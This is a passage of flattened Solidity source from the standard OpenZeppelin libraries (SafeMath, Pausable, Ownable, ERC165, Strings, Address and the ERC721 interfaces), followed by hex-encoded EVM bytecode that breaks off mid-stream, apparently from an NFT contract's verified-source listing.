@dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106101d85760003560e01c806370a0823111610102578063a22cb46511610095578063d753fd2511610064578063d753fd2514610677578063dbddb26a146106a0578063e985e9c5146106cb578063f2fde38b14610708576101d8565b8063a22cb465146105bd578063aa66797b146105e6578063b88d4fde14610611578063c87b56dd1461063a576101d8565b80638d859f3e116100d15780638d859f3e146105205780638da5cb5b1461054b57806395d89b4114610576578063a0712d68146105a1576101d8565b806370a082311461048c578063715018a6146104c9578063819b25ba146104e05780638456cb5914610509576101d8565b806332cb6b0c1161017a57806342842e0e1161014957806342842e0e146103be5780634f6ccce7146103e75780635c975abb146104245780636352211e1461044f576101d8565b806332cb6b0c1461033c57806339f7e37f146103675780633ccfd60b146103905780633f4ba83a146103a7576101d8565b8063095ea7b3116101b6578063095ea7b31461028257806318160ddd146102ab57806323b872dd146102d65780632f745c59146102ff576101d8565b806301ffc9a7146101dd57806306fdde031461021a578063081812fc14610245575b600080fd5b3480156101e957600080fd5b5061020460048036038101906101ff9190612bed565b610731565b6040516102119190612c35565b60405180910390f35b34801561022657600080fd5b5061022f61087b565b60405161023c9190612ce9565b60405180910390f35b34801561025157600080fd5b5061026c60048036038101906102679190612d41565b61090d565b6040516102799190612daf565b60405180910390f35b34801561028e57600080fd5b506102a960048036038101906102a49190612df6565b610992565b005b3480156102b757600080fd5b506102c0610aab565b6040516102cd9190612e45565b60405180910390f35b3480156102e257600080fd5b506102fd60048036038101906102f89190612e60565b610ab4565b005b34801561030b57600080fd5b5061032660048036038101906103219190612df6565b610ac4565b6040516103339190612e45565b60405180910390f35b34801561034857600080fd5b50610351610cb6565b60405161035e9190612e45565b60405180910390f35b34801561037357600080fd5b5061038e60048036038101906103899190612fe8565b610cbc565b005b34801561039c57600080fd5b506103a5610d52565b005b3480156103b357600080fd5b506103bc610e1d565b005b3480156103ca57600080fd5b506103e560048036038101906103e09190612e60565b610ea3565b005b3480156103f357600080fd5b5061040e60048036038101906104099190612d41565b610ec3565b60405161041b9190612e45565b60405180910390f35b34801561043057600080fd5b50610439610f16565b6040516104469190612c35565b60405180910390f35b34801561045b57600080fd5b5061047660048036038101906104719190612d41565b610f2d565b6040516104839190612daf565b60405180910390f35b34801561049857600080fd5b506104b360048036038101906104ae9190613031565b610f43565b6040516104c09190612e45565b60405180910390f35b3480156104d557600080fd5b506104de61102c565b005b3480156104ec57600080fd5b5061050760048036038101906105029190612d41565b6110b4565b005b34801561051557600080fd5b5061051e61113c565b005b34801561052c57600080fd5b506105356111c2565b6040516105429190612e45565b60405180910390f35b34801561055757600080fd5b506105606111c8565b60405161056d9190612daf565b60405180910390f35b34801561058257600080fd5b5061058b6111f2565b6040516105989190612ce9565b60405180910390f35b6105bb60048036038101906105b69190612d41565b611284565b005b3480156105c957600080fd5b506105e460048036038101906105df919061308a565b611328565b005b3480156105f257600080fd5b506105fb6114a9565b6040516106089190612e45565b60405180910390f35b34801561061d57600080fd5b506106386004803603810190610633919061316b565b6114af565b005b34801561064657600080fd5b50610661600480360381019061065c9190612d41565b61150b565b60405161066e9190612ce9565b60405180910390f35b34801561068357600080fd5b5061069e600480360381019061069991906131ee565b6115b3565b005b3480156106ac57600080fd5b506106b5611659565b6040516106c29190612ce9565b60405180910390f35b3480156106d757600080fd5b506106f260048036038101906106ed919061325d565b6116e7565b6040516106ff9190612c35565b60405180910390f35b34801561071457600080fd5b5061072f600480360381019061072a9190613031565b61177b565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806107fc57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061086457507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806108745750610873826118ac565b5b9050919050565b60606001805461088a906132cc565b80601f01602080910402602001604051908101604052809291908181526020018280546108b6906132cc565b80156109035780601f106108d857610100808354040283529160200191610903565b820191906000526020600020905b8154815290600101906020018083116108e657829003601f168201915b5050505050905090565b600061091882611916565b610957576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094e90613370565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061099d82610f2d565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0590613402565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610a2d611923565b73ffffffffffffffffffffffffffffffffffffffff161480610a5c5750610a5b81610a56611923565b6116e7565b5b610a9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9290613494565b60405180910390fd5b610aa683838361192b565b505050565b60008054905090565b610abf8383836119dd565b505050565b6000610acf83610f43565b8210610b10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0790613526565b60405180910390fd5b6000610b1a610aab565b905060008060005b83811015610c74576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614610c1457806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c665786841415610c5d578195505050505050610cb0565b83806001019450505b508080600101915050610b22565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca7906135b8565b60405180910390fd5b92915050565b60085481565b610cc4611923565b73ffffffffffffffffffffffffffffffffffffffff16610ce26111c8565b73ffffffffffffffffffffffffffffffffffffffff1614610d38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2f90613624565b60405180910390fd5b80600a9080519060200190610d4e929190612aa4565b5050565b610d5a611923565b73ffffffffffffffffffffffffffffffffffffffff16610d786111c8565b73ffffffffffffffffffffffffffffffffffffffff1614610dce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc590613624565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610e19573d6000803e3d6000fd5b5050565b610e25611923565b73ffffffffffffffffffffffffffffffffffffffff16610e436111c8565b73ffffffffffffffffffffffffffffffffffffffff1614610e99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9090613624565b60405180910390fd5b610ea1611f1d565b565b610ebe838383604051806020016040528060008152506114af565b505050565b6000610ecd610aab565b8210610f0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f05906136b6565b60405180910390fd5b819050919050565b6000600760149054906101000a900460ff16905090565b6000610f3882611fbf565b600001519050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fab90613748565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b611034611923565b73ffffffffffffffffffffffffffffffffffffffff166110526111c8565b73ffffffffffffffffffffffffffffffffffffffff16146110a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109f90613624565b60405180910390fd5b6110b26000612159565b565b6110bc611923565b73ffffffffffffffffffffffffffffffffffffffff166110da6111c8565b73ffffffffffffffffffffffffffffffffffffffff1614611130576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112790613624565b60405180910390fd5b6111398161221f565b50565b611144611923565b73ffffffffffffffffffffffffffffffffffffffff166111626111c8565b73ffffffffffffffffffffffffffffffffffffffff16146111b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111af90613624565b60405180910390fd5b6111c06122cc565b565b60095481565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054611201906132cc565b80601f016020809104026020016040519081016040528092919081815260200182805461122d906132cc565b801561127a5780601f1061124f5761010080835404028352916020019161127a565b820191906000526020600020905b81548152906001019060200180831161125d57829003601f168201915b5050505050905090565b61128c610f16565b156112cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c3906137b4565b60405180910390fd5b34816009546112db9190613803565b111561131c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611313906138a9565b60405180910390fd5b6113258161221f565b50565b611330611923565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561139e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139590613915565b60405180910390fd5b80600660006113ab611923565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611458611923565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161149d9190612c35565b60405180910390a35050565b600b5481565b6114ba8484846119dd565b6114c68484848461236f565b611505576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114fc906139a7565b60405180910390fd5b50505050565b606061151682611916565b611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90613a39565b60405180910390fd5b600061155f6124f7565b905060008151141561158057604051806020016040528060008152506115ab565b8061158a84612589565b60405160200161159b929190613a95565b6040516020818303038152906040525b915050919050565b6115bb611923565b73ffffffffffffffffffffffffffffffffffffffff166115d96111c8565b73ffffffffffffffffffffffffffffffffffffffff161461162f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162690613624565b60405180910390fd5b826008819055508160098190555080600a908051906020019061